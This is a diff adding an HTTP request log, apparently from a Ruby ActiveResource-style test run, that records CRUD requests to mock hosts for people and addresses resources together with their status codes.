+I, [2009-10-15T10:42:02.595976 #83316]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-10-15T10:42:02.596412 #83316]  INFO -- : POST http://somewhere.else:80/people/new/register.json
+I, [2009-10-15T10:42:02.596492 #83316]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-10-15T10:42:02.597203 #83316]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.597285 #83316]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-10-15T10:42:02.598656 #83316]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-10-15T10:42:02.598753 #83316]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-10-15T10:42:02.599282 #83316]  INFO -- : GET http://somewhere.else:80/people/1.json
+I, [2009-10-15T10:42:02.599373 #83316]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-10-15T10:42:02.600126 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.600213 #83316]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-10-15T10:42:02.602587 #83316]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-10-15T10:42:02.602720 #83316]  INFO -- : --> 201 201 (50 0ms)
+I, [2009-10-15T10:42:02.604176 #83316]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.604275 #83316]  INFO -- : --> 201 201 (132 0ms)
+I, [2009-10-15T10:42:02.607111 #83316]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.607234 #83316]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-10-15T10:42:02.609228 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.609337 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.610714 #83316]  INFO -- : DELETE http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.610817 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:02.611571 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.611663 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.613326 #83316]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.613426 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.615834 #83316]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-10-15T10:42:02.615947 #83316]  INFO -- : --> 201 201 (123 0ms)
+I, [2009-10-15T10:42:02.618964 #83316]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-10-15T10:42:02.619083 #83316]  INFO -- : --> 201 201 (123 0ms)
+I, [2009-10-15T17:27:43.829170 #85221]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.849670 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:43.851683 #85221]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.851851 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.852140 #85221]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.852262 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:43.853724 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.853842 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:43.897556 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.897711 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.897941 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.898026 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:43.899421 #85221]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:43.899525 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:43.901872 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.901994 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.902214 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.902305 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:43.936515 #85221]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.936663 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:43.937900 #85221]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.938010 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.938246 #85221]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.938352 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:43.939801 #85221]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T17:27:43.939920 #85221]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T17:27:43.941072 #85221]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T17:27:43.941174 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.941396 #85221]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T17:27:43.941484 #85221]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T17:27:43.942604 #85221]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.942697 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:43.943825 #85221]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.943921 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.944131 #85221]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.944218 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:43.945388 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.945653 #85221]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T17:27:43.945881 #85221]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.946114 #85221]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.946345 #85221]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.947519 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.947832 #85221]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T17:27:43.948058 #85221]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.948285 #85221]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.948515 #85221]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:43.949728 #85221]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:43.949822 #85221]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T17:27:43.977553 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T17:27:43.977704 #85221]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T17:27:43.982859 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:43.982996 #85221]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T17:27:43.985273 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T17:27:43.985402 #85221]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T17:27:43.986238 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:43.986326 #85221]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T17:27:43.988797 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T17:27:43.988932 #85221]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T17:27:43.989982 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:43.990068 #85221]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T17:27:43.992216 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T17:27:43.992328 #85221]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T17:27:43.993293 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:43.993374 #85221]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T17:27:43.996771 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T17:27:43.996895 #85221]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T17:27:43.997807 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:43.997898 #85221]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T17:27:44.000092 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T17:27:44.000208 #85221]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T17:27:44.001078 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.001167 #85221]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T17:27:44.018012 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.018158 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.065321 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.065478 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.067533 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.067690 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.078185 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.078338 #85221]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-10-15T17:27:44.080383 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.080492 #85221]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-10-15T17:27:44.088790 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:44.088928 #85221]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T17:27:44.097420 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.097566 #85221]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T17:27:44.219959 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.220105 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.229225 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/4.xml
+I, [2009-10-15T17:27:44.229376 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.244275 #85221]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.244465 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.244760 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.244847 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.252198 #85221]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.252312 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.252564 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.252641 #85221]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-10-15T17:27:44.260414 #85221]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.260535 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.260797 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.260873 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.268828 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.268976 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.270542 #85221]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.270682 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.270963 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.271040 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.278653 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.278775 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.280254 #85221]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.280349 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.280614 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.280691 #85221]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-10-15T17:27:44.288407 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.288534 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.290245 #85221]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.290356 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.290631 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.290707 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.298660 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.298806 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.298998 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-10-15T17:27:44.299090 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.299364 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.299440 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.300928 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.301041 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.301302 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-10-15T17:27:44.301395 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.301650 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.301749 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.301945 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-10-15T17:27:44.302039 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.302270 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-10-15T17:27:44.302368 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.302608 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.302695 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.304291 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.304399 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.304703 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-10-15T17:27:44.304852 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.305166 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-10-15T17:27:44.305278 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:44.313708 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.313854 #85221]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-10-15T17:27:44.371761 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.371935 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.372144 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.372224 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.373747 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.373863 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.374063 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.374143 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.375454 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-10-15T17:27:44.375563 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.375763 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.375843 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.377147 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-10-15T17:27:44.377246 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.378717 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-10-15T17:27:44.378829 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.387061 #85221]  INFO -- : HEAD http://37s.sunrise.i:3000/people/not-mocked.xml
+I, [2009-10-15T17:27:44.387257 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:44.409357 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.409497 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.419282 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/5.xml
+I, [2009-10-15T17:27:44.419479 #85221]  INFO -- : --> 200 200 (223 0ms)
+I, [2009-10-15T17:27:44.429156 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.429303 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.438524 #85221]  INFO -- : GET http://37s.sunrise.i:3000/customers/1.xml
+I, [2009-10-15T17:27:44.438669 #85221]  INFO -- : --> 200 200 (1458 0ms)
+I, [2009-10-15T17:27:44.506425 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.556246 #85221]  INFO -- : --> 200 200 (106 50ms)
+I, [2009-10-15T17:27:44.557948 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T17:27:44.558065 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.567377 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.567524 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.569232 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.569338 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.578668 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.578832 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:44.581377 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.581483 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.590407 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T17:27:44.590540 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.600447 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.600600 #85221]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-10-15T17:27:44.610088 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T17:27:44.610264 #85221]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-10-15T17:27:44.806542 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:44.806689 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.815632 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:44.815766 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:44.825086 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:44.825235 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:44.828122 #85221]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:44.828232 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:44.835906 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:44.836033 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:44.846551 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:44.846699 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:44.857207 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:44.857355 #85221]  INFO -- : --> 200 200 (199 0ms)
+I, [2009-10-15T17:27:44.867887 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:44.868037 #85221]  INFO -- : --> 200 200 (199 0ms)
+I, [2009-10-15T17:27:44.878141 #85221]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-10-15T17:27:44.878281 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:44.880058 #85221]  INFO -- : PUT http://somewhere.else:80/people/2.xml
+I, [2009-10-15T17:27:44.880155 #85221]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-10-15T17:27:44.888249 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.888399 #85221]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T17:27:44.890658 #85221]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.890772 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:44.898410 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:44.898536 #85221]  INFO -- : --> 200 200 (199 0ms)
+I, [2009-10-15T17:27:44.900979 #85221]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:44.901091 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.001170 #85221]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:45.001350 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.010602 #85221]  INFO -- : DELETE http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:45.010764 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:45.013165 #85221]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:45.013286 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:45.015299 #85221]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:45.015393 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.018761 #85221]  INFO -- : GET http://localhost:80/people.xml
+I, [2009-10-15T17:27:45.018893 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.023569 #85221]  INFO -- : GET http://localhost:80/people_empty_elements.xml
+I, [2009-10-15T17:27:45.023703 #85221]  INFO -- : --> 200 200 (77 0ms)
+I, [2009-10-15T17:27:45.026335 #85221]  INFO -- : GET http://localhost:80/people_single_elements.xml
+I, [2009-10-15T17:27:45.026438 #85221]  INFO -- : --> 200 200 (208 0ms)
+I, [2009-10-15T17:27:45.030186 #85221]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:45.030310 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:45.036681 #85221]  INFO -- : HEAD http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:45.036813 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:45.041087 #85221]  INFO -- : POST http://localhost:80/people.xml
+I, [2009-10-15T17:27:45.041241 #85221]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T17:27:45.043248 #85221]  INFO -- : POST http://localhost:80/members.xml
+I, [2009-10-15T17:27:45.043345 #85221]  INFO -- : --> 201 201 (1 0ms)
+I, [2009-10-15T17:27:45.047940 #85221]  INFO -- : PUT http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:45.048077 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.050170 #85221]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T17:27:45.050269 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.059435 #85221]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T17:27:45.065119 #85221]  INFO -- : GET http://localhost:80/people_timeout.xml
+I, [2009-10-15T17:27:45.069872 #85221]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+I, [2009-10-15T17:27:45.069998 #85221]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-10-15T17:27:45.071746 #85221]  INFO -- : POST http://somewhere.else:80/people/hire.xml?name=Matz
+I, [2009-10-15T17:27:45.071845 #85221]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T17:27:45.072059 #85221]  INFO -- : PUT http://somewhere.else:80/people/promote.xml?name=Matz
+I, [2009-10-15T17:27:45.072137 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.072343 #85221]  INFO -- : PUT http://somewhere.else:80/people/sort.xml?by=name
+I, [2009-10-15T17:27:45.072421 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.072620 #85221]  INFO -- : DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+I, [2009-10-15T17:27:45.072699 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:45.072915 #85221]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+I, [2009-10-15T17:27:45.072998 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.075325 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.075420 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.076980 #85221]  INFO -- : GET http://somewhere.else:80/people/1/shallow.xml
+I, [2009-10-15T17:27:45.077088 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.078452 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.078558 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.080227 #85221]  INFO -- : GET http://somewhere.else:80/people/1/deep.xml
+I, [2009-10-15T17:27:45.080332 #85221]  INFO -- : --> 200 200 (129 0ms)
+I, [2009-10-15T17:27:45.081948 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.082076 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.083464 #85221]  INFO -- : PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
